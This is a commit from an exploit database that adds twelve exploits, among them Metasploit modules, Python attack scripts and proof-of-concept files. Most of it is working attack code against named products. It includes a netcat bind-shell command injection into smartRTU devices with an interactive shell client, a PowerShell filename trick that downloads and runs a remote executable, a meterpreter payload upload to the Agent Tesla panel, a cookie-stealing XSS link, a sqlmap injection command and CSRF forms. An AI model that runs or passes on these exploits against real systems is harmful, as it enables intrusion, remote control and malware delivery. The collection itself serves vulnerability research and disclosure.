DB: 2019-08-15
12 changes to exploits/shellcodes Windows PowerShell - Unsanitized Filename Command Execution ABC2MTEX 1.6.1 - Command Line Stack Overflow Microsoft Windows 10 AppXSvc Deployment Service - Arbitrary File Deletion Agent Tesla Botnet - Arbitrary Code Execution (Metasploit) Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated Configuration Download Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell SugarCRM Enterprise 9.0.0 - Cross-Site Scripting Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'customfields.php' SQL Injection D-Link DIR-600M - Authentication Bypass (Metasploit) WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery TortoiseSVN 1.12.1 - Remote Code Execution ManageEngine opManager 12.3.150 - Authenticated Code Execution
This commit is contained in:
Offensive Security
parent
998fb1eeec
commit
7e6884af13
13 changed files with 1303 additions and 0 deletions
62
exploits/hardware/webapps/47250.rb
Executable file
62
exploits/hardware/webapps/47250.rb
Executable file
|
|
@ -0,0 +1,62 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'CVE-2019-13101 D-Link DIR-600M Incorrect Access Control',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to find D-Link router DIR-600M which is
|
||||||
|
vulnerable to Incorrect Access Control. The vulnerability exists in
|
||||||
|
wan.htm, which is accessible without authentication. This
|
||||||
|
vulnerabilty can lead an attacker to manipulate WAN settings.
|
||||||
|
This module has been tested successfully on Firmware Version
|
||||||
|
3.01,3.02,3.03,3.04,3.05,3.06.
|
||||||
|
},
|
||||||
|
'Author' => [ 'Devendra Singh Solanki <devendra0x0[at]gmail.com>' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
'CVE', '2019-13101'
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Aug 08 2019'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80)
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
res = send_request_cgi({'uri' => '/login.htm'})
|
||||||
|
if res.nil? or res.code == 404
|
||||||
|
print_error("#{rhost}:#{rport} - Host is down.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /D-Link/
|
||||||
|
print_good("#{rhost}:#{rport} - It is a D-Link router")
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} - Not a D-Link router")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
res = send_request_cgi({'uri' => '/wan.htm'})
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /PPPoE/
|
||||||
|
print_good("#{rhost}:#{rport} - Router is vulnerable for
|
||||||
|
Incorrect Access Control. CVE-2019-13101")
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} - Router is with different firmware.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
64
exploits/linux/dos/47254.txt
Normal file
64
exploits/linux/dos/47254.txt
Normal file
|
|
@ -0,0 +1,64 @@
|
||||||
|
Exploit Title: ABC2MTEX 1.6.1 - Command Line Stack Overflow
|
||||||
|
Date: 2019-08-13
|
||||||
|
Exploit Author: Carter Yagemann <yagemann@gatech.edu>
|
||||||
|
Vendor Homepage: https://abcnotation.com/abc2mtex/
|
||||||
|
Software Link: https://github.com/mudongliang/source-packages/raw/master/CVE-2004-1257/abc2mtex1.6.1.tar.gz
|
||||||
|
Version: 1.6.1
|
||||||
|
Tested on: Debian Buster
|
||||||
|
|
||||||
|
An unsafe strcpy at abc.c:241 allows an attacker to overwrite the return
|
||||||
|
address from the openIn function by providing a long input filename. This
|
||||||
|
carries similar risk to CVE-2004-1257.
|
||||||
|
|
||||||
|
Setup:
|
||||||
|
|
||||||
|
$ wget https://github.com/mudongliang/source-packages/raw/master/CVE-2004-1257/abc2mtex1.6.1.tar.gz
|
||||||
|
$ tar -xzf abc2mtex1.6.1.tar.gz
|
||||||
|
$ make
|
||||||
|
|
||||||
|
$ gcc --version
|
||||||
|
gcc (Debian 8.3.0-6) 8.3.0
|
||||||
|
Copyright (C) 2018 Free Software Foundation, Inc.
|
||||||
|
This is free software; see the source for copying conditions. There is NO
|
||||||
|
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
$ ./abc2mtex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA
|
||||||
|
|
||||||
|
GDB:
|
||||||
|
|
||||||
|
We're going to place a breakpoint before and after abc.c:241 to show the overflow.
|
||||||
|
|
||||||
|
$ gdb -q ./abc2mtex
|
||||||
|
Reading symbols from ./abc2mtex...done.
|
||||||
|
(gdb) break abc.c:241
|
||||||
|
Breakpoint 1 at 0x4139: file abc.c, line 241.
|
||||||
|
(gdb) break abc.c:242
|
||||||
|
Breakpoint 2 at 0x414c: file abc.c, line 242.
|
||||||
|
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA
|
||||||
|
Starting program: /tmp/tmp.4jy8nhwOI3/abc2mtex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA
|
||||||
|
|
||||||
|
Breakpoint 1, openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:241
|
||||||
|
241 (void) strcpy(savename,filename);
|
||||||
|
(gdb) bt
|
||||||
|
#0 openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:241
|
||||||
|
#1 0x0000555555556f00 in main (argc=2, argv=0x7fffffffe4f8) at fields.c:273
|
||||||
|
(gdb) c
|
||||||
|
Continuing.
|
||||||
|
|
||||||
|
Breakpoint 2, openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:242
|
||||||
|
242 (void) strcat(filename,".abc");
|
||||||
|
(gdb) bt
|
||||||
|
#0 openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:242
|
||||||
|
#1 0x0000414243444546 in ?? ()
|
||||||
|
#2 0x00007fffffffe4f8 in ?? ()
|
||||||
|
#3 0x0000000200000000 in ?? ()
|
||||||
|
#4 0x0000000000000000 in ?? ()
|
||||||
|
(gdb) c
|
||||||
|
Continuing.
|
||||||
|
file "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA" does not exist
|
||||||
|
|
||||||
|
Program received signal SIGSEGV, Segmentation fault.
|
||||||
|
0x0000414243444546 in ?? ()
|
||||||
|
(gdb) quit
|
||||||
106
exploits/php/remote/47256.rb
Executable file
106
exploits/php/remote/47256.rb
Executable file
|
|
@ -0,0 +1,106 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Tesla Agent Remote Code Execution",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits the command injection vulnerability of tesla agent botnet panel.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://prodaft.com']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SSL' => false,
|
||||||
|
'WfsDelay' => 5,
|
||||||
|
},
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => [ ARCH_PHP ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['PHP payload',
|
||||||
|
{
|
||||||
|
'Platform' => 'PHP',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "July 10 2018",
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The URI of the tesla agent with panel path', '/WebPanel/']),
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/server_side/scripts/server_processing.php'),
|
||||||
|
)
|
||||||
|
#print_status(res.body)
|
||||||
|
if res && res.body.include?('SQLSTATE')
|
||||||
|
Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
check
|
||||||
|
|
||||||
|
name = '.'+Rex::Text.rand_text_alpha(4)+'.php'
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path,'/server_side/scripts/server_processing.php'),
|
||||||
|
'encode_params' => true,
|
||||||
|
'vars_get' => {
|
||||||
|
'table' => 'passwords',
|
||||||
|
'primary' => 'password_id',
|
||||||
|
'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:3:"pwd";s:2:"dt";s:8:"username";s:9:"formatter";s:4:"exec";}}',
|
||||||
|
'where' => Rex::Text.encode_base64("1=1 UNION SELECT \"echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d > #{name}\"")
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body.include?('recordsTotal')
|
||||||
|
print_good("Payload uploaded as #{name}")
|
||||||
|
else
|
||||||
|
print_error('Payload upload failed :(')
|
||||||
|
Msf::Exploit::Failed
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path,'/server_side/scripts/',name)}, 5
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
print_good("Payload successfully triggered !")
|
||||||
|
else
|
||||||
|
print_error('Payload trigger failed :(')
|
||||||
|
Msf::Exploit::Failed
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
38
exploits/php/webapps/47234.py
Executable file
38
exploits/php/webapps/47234.py
Executable file
|
|
@ -0,0 +1,38 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
# Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated Configuration Download
|
||||||
|
# Date: 29 June 2019
|
||||||
|
# Exploit Author: (@xerubus | mogozobo.com)
|
||||||
|
# Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local
|
||||||
|
# Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/
|
||||||
|
# Firmware Version: Misubishi Electric 2.02 & INEA 3.0
|
||||||
|
# CVE-ID: CVE-2019-14927
|
||||||
|
# Full write-up: https://www.mogozobo.com/?p=3593
|
||||||
|
|
||||||
|
import sys, os, requests, socket
|
||||||
|
|
||||||
|
os.system('clear')
|
||||||
|
|
||||||
|
print("""\
|
||||||
|
_ _
|
||||||
|
___ (~ )( ~)
|
||||||
|
/ \_\ \/ /
|
||||||
|
| D_ ]\ \/ -= Conf_Me-smartRTU by @xerubus =-
|
||||||
|
| D _]/\ \ -= We all have something to hide =-
|
||||||
|
\___/ / /\ \\
|
||||||
|
(_ )( _)
|
||||||
|
@Xerubus
|
||||||
|
""")
|
||||||
|
|
||||||
|
host = raw_input("Enter RTU IP address: ")
|
||||||
|
|
||||||
|
php_page = '/saveSettings.php'
|
||||||
|
url = "http://{}{}".format(host, php_page)
|
||||||
|
|
||||||
|
print "[+] Attempting to download smartRTU configuration file"
|
||||||
|
|
||||||
|
r = requests.get(url)
|
||||||
|
if r.status_code == 200:
|
||||||
|
print "[+] Successfully obtained smartRTU configuration file.. saving to smartRTU_conf.xml\n"
|
||||||
|
with open('smartRTU_conf.xml', 'w') as f:
|
||||||
|
f.write(r.content)
|
||||||
69
exploits/php/webapps/47235.py
Executable file
69
exploits/php/webapps/47235.py
Executable file
|
|
@ -0,0 +1,69 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
# Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated OS Command Injection
|
||||||
|
# Date: 29 June 2019
|
||||||
|
# Exploit Author: (@xerubus | mogozobo.com)
|
||||||
|
# Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local
|
||||||
|
# Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/
|
||||||
|
# Firmware Version: Misubishi Electric 2.02 & INEA 3.0
|
||||||
|
# CVE-ID: CVE-2019-14931
|
||||||
|
# Full write-up: https://www.mogozobo.com/?p=3593
|
||||||
|
|
||||||
|
import sys, os, requests, socket
|
||||||
|
|
||||||
|
os.system('clear')
|
||||||
|
|
||||||
|
print("""\
|
||||||
|
_ _
|
||||||
|
___ (~ )( ~)
|
||||||
|
/ \_\ \/ /
|
||||||
|
| D_ ]\ \/ -= Bind_Me-smartRTU by @xerubus =-
|
||||||
|
| D _]/\ \ -= We all have something to hide =-
|
||||||
|
\___/ / /\ \\
|
||||||
|
(_ )( _)
|
||||||
|
@Xerubus
|
||||||
|
""")
|
||||||
|
|
||||||
|
host = raw_input("Enter RTU IP address: ")
|
||||||
|
port = raw_input("Enter bind shell port number: ")
|
||||||
|
|
||||||
|
php_page = '/action.php'
|
||||||
|
url = "http://{}{}".format(host, php_page)
|
||||||
|
payload = {'host' : ';sudo /usr/sbin/service ../../bin/nc -nvlp '+port+' -e /bin/sh&PingCheck=Test'}
|
||||||
|
|
||||||
|
print "\n[+] Building payload"
|
||||||
|
print "[+] Sending payload"
|
||||||
|
print "[+] Attempting connection to smartRTU"
|
||||||
|
|
||||||
|
try:
|
||||||
|
r = requests.post(url, data=payload, timeout=1)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
port = (int(port))
|
||||||
|
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.connect((host, port))
|
||||||
|
|
||||||
|
try :
|
||||||
|
print "[+] Connected to the smartRTU!\n"
|
||||||
|
while 1:
|
||||||
|
cmd = raw_input("(smartRTU-shell) # ");
|
||||||
|
s.send(cmd + "\n");
|
||||||
|
result = s.recv(1024).strip();
|
||||||
|
if not len(result) :
|
||||||
|
print "\n[!] Play nice now skiddies....\n\n"
|
||||||
|
s.close();
|
||||||
|
break;
|
||||||
|
print(result);
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print "\n[+] ^C Received, closing connection"
|
||||||
|
s.close();
|
||||||
|
except EOFError:
|
||||||
|
print "\n[+] ^D Received, closing connection"
|
||||||
|
s.close();
|
||||||
|
|
||||||
|
except socket.error:
|
||||||
|
print "[!] Failed to connect to bind shell."
|
||||||
30
exploits/php/webapps/47247.txt
Normal file
30
exploits/php/webapps/47247.txt
Normal file
|
|
@ -0,0 +1,30 @@
|
||||||
|
# Exploit Title: 0Day UnauthenticatedXSS SugarCRM Enterprise
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Date: 11.08.2019
|
||||||
|
# Exploit Author: Ilca Lucian Florin
|
||||||
|
# Vendor Homepage: https://www.sugarcrm.com
|
||||||
|
# Version: 9.0.0
|
||||||
|
# Tested on: Windows 7 / Internet Explorer 11 / Google Chrome 76
|
||||||
|
# CVE : 2019-14974
|
||||||
|
|
||||||
|
The application fails to sanitize user input on https://sugarcrm-qms.XXX.com/mobile/error-not-supported-platform.html and reflect the input directly in the HTTP response, allowing the hacker to exploit the vulnerable parameter and have malicious content executed in the victim's browser.
|
||||||
|
|
||||||
|
Steps to reproduce:
|
||||||
|
|
||||||
|
1.Attacker will craft a malicious payload and create a legitimate link with the payload included;
|
||||||
|
2. Attacker will send the link to the victim;
|
||||||
|
3. Upon clicking on the link, the malicious payload will be reflected in the response and executed in the victim’s browser.
|
||||||
|
|
||||||
|
The behavior can be observed by visiting the following URL:
|
||||||
|
|
||||||
|
https://server/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(document.cookie);//itms://
|
||||||
|
|
||||||
|
Clicking on FULL VERSION OF WEBSITE will trigger the XSS.
|
||||||
|
|
||||||
|
Impact statement:
|
||||||
|
|
||||||
|
Although requiring user interaction, reflected XSS impact might range from web defacement to stealing user info and full account takeover, depending on the circumstances.
|
||||||
|
|
||||||
|
Recommendation:
|
||||||
|
|
||||||
|
Always ensure to validate parameters input and encode the output.
|
||||||
23
exploits/php/webapps/47249.txt
Normal file
23
exploits/php/webapps/47249.txt
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
#Exploit Title: Joomla! component com_jsjobs - 'customfields.php' SQL Injection
|
||||||
|
#Dork: inurl:"index.php?option=com_jsjobs"
|
||||||
|
#Date: 13.08.19
|
||||||
|
#Exploit Author: qw3rTyTy
|
||||||
|
#Vendor Homepage: https://www.joomsky.com/
|
||||||
|
#Software Link: https://www.joomsky.com/5/download/1
|
||||||
|
#Version: 1.2.5
|
||||||
|
#Tested on: Debian/nginx/joomla 3.9.0
|
||||||
|
#####################################
|
||||||
|
#Vulnerability details:
|
||||||
|
#####################################
|
||||||
|
Vulnerable code is in line 171 in file site/models/customfields.php
|
||||||
|
|
||||||
|
169 function dataForDepandantField( $val , $childfield){
|
||||||
|
170 $db = $this->getDBO();
|
||||||
|
171 $query = "SELECT userfieldparams,fieldtitle FROM `#__js_job_fieldsordering` WHERE field = '".$childfield."'"; //!!!
|
||||||
|
172 $db->setQuery($query);
|
||||||
|
173 $data = $db->loadObject();
|
||||||
|
|
||||||
|
#####################################
|
||||||
|
#PoC:
|
||||||
|
#####################################
|
||||||
|
$> sqlmap.py -u "http://localhost/index.php?option=com_jsjobs&task=customfields.datafordepandantfield&fvalue=0&child=0" --random-agent --dbms=mysql --method GET -p child --technique E
|
||||||
51
exploits/php/webapps/47251.txt
Normal file
51
exploits/php/webapps/47251.txt
Normal file
|
|
@ -0,0 +1,51 @@
|
||||||
|
# Exploit Title: CSRF vulnerabilities in WordPress Download Manager Plugin 2.5
|
||||||
|
# Google Dork: inurl:"/wp-content/plugins/download-manager
|
||||||
|
# Date: 24 may, 2019
|
||||||
|
# Exploit Author: Princy Edward
|
||||||
|
# Exploit Author Blog : https://prinyedward.blogspot.com/
|
||||||
|
# Vendor Homepage: https://www.wpdownloadmanager.com/
|
||||||
|
# Software Link: https://wordpress.org/plugins/download-manager/
|
||||||
|
# Tested on: Apache/2.2.24 (CentOS)
|
||||||
|
POC
|
||||||
|
|
||||||
|
#1
|
||||||
|
|
||||||
|
There is no CSRF nonce check performed in "POST
|
||||||
|
/wp-admin/admin-ajax.php?action=wpdm_save_email_setting" request.
|
||||||
|
|
||||||
|
#Code
|
||||||
|
|
||||||
|
<form method="POST"
|
||||||
|
action="http://localhost/wp-admin/admin-ajax.php?action=wpdm_save_email_setting">
|
||||||
|
<input type="hidden" name="__wpdm_email_template" value="default.html">
|
||||||
|
<input type="hidden" name="__wpdm_email_setting[logo]"
|
||||||
|
value="https://hacker.jpg">
|
||||||
|
<input type="hidden" name="__wpdm_email_setting[banner]"
|
||||||
|
value="https://hacker.jpg">
|
||||||
|
<input type="hidden" name="__wpdm_email_setting[footer_text]"
|
||||||
|
value="https://malicious-url.com"><input type="hidden" name="__wpdm_email_setting[facebook]"
|
||||||
|
value="https://malicious-url.com">
|
||||||
|
<input type="hidden" name="__wpdm_email_setting[twitter]" value="https://malicious-url.com">
|
||||||
|
<input type="hidden" name="__wpdm_email_setting[youtube]"
|
||||||
|
value="https://malicious-url.com">
|
||||||
|
<input type="submit">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
#2
|
||||||
|
|
||||||
|
There is no CSRF nonce check performed in "POST
|
||||||
|
/wp-admin/edit.php?post_type=wpdmpro&page=templates&_type=email&task=EditEmailTemplat
|
||||||
|
e&id=default" request.
|
||||||
|
|
||||||
|
#Code
|
||||||
|
|
||||||
|
<form method="POST"
|
||||||
|
action="http://localhost/wp-admin/edit.php?post_type=wpdmpro&page=templates&_type=email&
|
||||||
|
task=EditEmailTemplate&id=default">
|
||||||
|
<input type="hidden" name="id" value="default">
|
||||||
|
<input type="hidden" name="email_template[subject]" value="forget password">
|
||||||
|
<input type="hidden" name="email_template[message]" value="aaa">
|
||||||
|
<input type="hidden" name="email_template[from_name]" value="hacker">
|
||||||
|
<input type="hidden" name="email_template[from_email]" value="hacker@hacker.com">
|
||||||
|
<input type="submit">
|
||||||
|
</form>
|
||||||
144
exploits/windows/dos/47248.py
Executable file
144
exploits/windows/dos/47248.py
Executable file
|
|
@ -0,0 +1,144 @@
|
||||||
|
'''
|
||||||
|
[+] Credits: John Page (aka hyp3rlinx)
|
||||||
|
[+] Website: hyp3rlinx.altervista.org
|
||||||
|
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
|
||||||
|
[+] ISR: Apparition Security
|
||||||
|
|
||||||
|
|
||||||
|
[Vendor]
|
||||||
|
www.microsoft.com
|
||||||
|
|
||||||
|
|
||||||
|
[Product]
|
||||||
|
Windows PowerShell
|
||||||
|
|
||||||
|
Windows PowerShell is a Windows command-line shell designed especially for system administrators.
|
||||||
|
PowerShell includes an interactive prompt and a scripting environment that can be used independently or in combination.
|
||||||
|
|
||||||
|
|
||||||
|
[Vulnerability Type]
|
||||||
|
Unsanitized Filename Command Execution
|
||||||
|
|
||||||
|
|
||||||
|
[CVE Reference]
|
||||||
|
N/A
|
||||||
|
|
||||||
|
|
||||||
|
[Security Issue]
|
||||||
|
PowerShell can potentially execute arbitrary code when running specially named scripts due to trusting unsanitized filenames.
|
||||||
|
This occurs when ".ps1" files contain semicolons ";" or spaces as part of the filename, causing the execution of a different trojan file;
|
||||||
|
or the running of unexpected commands straight from the filename itself without the need for a second file.
|
||||||
|
|
||||||
|
For trojan files it doesn't need to be another PowerShell script and can be one of the following ".com, .exe, .bat, .cpl, .js, .vbs and .wsf.
|
||||||
|
Therefore, the vulnerably named file ".\Hello;World.ps1" will instead execute "hello.exe", if that script is invoked using the standard
|
||||||
|
Windows shell "cmd.exe" and "hello.exe" resides in the same directory as the vulnerably named script.
|
||||||
|
|
||||||
|
However, when such scripts are run from PowerShells shell and not "cmd.exe" the "&" (call operator) will block our exploit from working.
|
||||||
|
|
||||||
|
Still, if the has user enabled ".ps1" scripts to open with PowerShell as its default program, all it takes is double click the file to trigger
|
||||||
|
the exploit and the "& call operator" will no longer save you. Also, if the user has not enabled PowerShell to open .ps1 scripts
|
||||||
|
as default; then running the script from cmd.exe like: c:\>powershell "\Hello;World.ps1" will also work without dropping into the PowerShell shell.
|
||||||
|
|
||||||
|
My PoC will download a remote executable save it to the victims machine and then execute it, and the PS files contents are irrelevant.
|
||||||
|
Also, note I use "%CD" to target the current working directory where the vicitm has initially opened it, after it calls "iwr" (invoke-webrequest)
|
||||||
|
abbreviated for space then it sleeps for 2 seconds and finally executes.
|
||||||
|
|
||||||
|
C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'"))
|
||||||
|
|
||||||
|
This can undermine the integrity of PowerShell as it potentially allows unexpected code execution; even when the scripts contents are visually reviewed.
|
||||||
|
We may also be able to bypass some endpoint protection or IDS systems that may look at the contents or header of a file but not its filename where are
|
||||||
|
commands can be stored.
|
||||||
|
|
||||||
|
For this to work the user must have enabled PowerShell as its default program when opening ".ps1" files.
|
||||||
|
|
||||||
|
First, we create a Base64 encoded filename for obfuscation; that will download and execute a remote executable named in this case "n.exe".
|
||||||
|
c:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'"))
|
||||||
|
|
||||||
|
Give the PS script a normal begining name, then separate commands using ";" semicolon e.g.
|
||||||
|
|
||||||
|
Test;powershell -e <BASE64 ENCODED COMMANDS>;2.ps1
|
||||||
|
|
||||||
|
Create the executable without a file extension to save space for the filename then save it back using the -O parameter.
|
||||||
|
The "-e" is abbreviated for EncodedCommand to again save filename space.
|
||||||
|
|
||||||
|
Host the executable on web-server or just use python -m SimpleHTTPServer 80 or whatever.
|
||||||
|
Double click to open in PowerShell watch the file get downloaded saved and executed!
|
||||||
|
|
||||||
|
My example is used as a "filename embedded downloader", but obviously we can just call other secondary trojan files of various types in the same directory.
|
||||||
|
|
||||||
|
Note: User interaction is required, and obviously running any random PS script is dangerous... but hey we looked at the file content and it simply printed a string!
|
||||||
|
|
||||||
|
|
||||||
|
[Exploit / PoC]
|
||||||
|
'''
|
||||||
|
|
||||||
|
from base64 import b64encode
|
||||||
|
import argparse,sys
|
||||||
|
#Windows PowerShell - Unsantized Filename Command Execution Vulnerability PoC
|
||||||
|
#Create ".ps1" files with Embedded commands to download, save and execute malware within a PowerShell Script Filename.
|
||||||
|
#Expects hostname/ip-addr of web-server housing the exploit.
|
||||||
|
#By hyp3rlinx
|
||||||
|
#Apparition Security
|
||||||
|
#====================
|
||||||
|
|
||||||
|
|
||||||
|
def parse_args():
|
||||||
|
parser.add_argument("-i", "--ipaddress", help="Remote server to download and exec malware from.")
|
||||||
|
parser.add_argument("-m", "--local_malware_name", help="Name for the Malware after downloading.")
|
||||||
|
parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.")
|
||||||
|
return parser.parse_args()
|
||||||
|
|
||||||
|
def main(args):
|
||||||
|
PSEmbedFilenameMalwr=""
|
||||||
|
if args.ipaddress:
|
||||||
|
PSEmbedFilenameMalwr = "powershell iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O %CD%\\"+args.local_malware_name+" ;sleep -s 2;start "+args.local_malware_name
|
||||||
|
return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE'))
|
||||||
|
|
||||||
|
def create_file(payload):
|
||||||
|
f=open("Test;PowerShell -e "+payload+";2.ps1", "w")
|
||||||
|
f.write("Write-Output 'Have a nice day!'")
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
PSCmds = main(parse_args())
|
||||||
|
|
||||||
|
if len(sys.argv)==1:
|
||||||
|
parser.print_help(sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
create_file(PSCmds)
|
||||||
|
print "PowerShell - Unsantized Filename Command Execution File created!"
|
||||||
|
print "By hyp3rlinx"
|
||||||
|
|
||||||
|
'''
|
||||||
|
[POC Video URL]
|
||||||
|
https://www.youtube.com/watch?v=AH33RW9g8J4
|
||||||
|
|
||||||
|
|
||||||
|
[Network Access]
|
||||||
|
Remote
|
||||||
|
|
||||||
|
|
||||||
|
[Severity]
|
||||||
|
High
|
||||||
|
|
||||||
|
|
||||||
|
[Disclosure Timeline]
|
||||||
|
Vendor Notification: July 20, 2019
|
||||||
|
MSRC "does not meet the bar for security servicing" : July 23, 2019
|
||||||
|
August 1, 2019 : Public Disclosure
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[+] Disclaimer
|
||||||
|
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
||||||
|
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
||||||
|
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
||||||
|
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
||||||
|
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
||||||
|
or exploits by the author or elsewhere. All content (c).
|
||||||
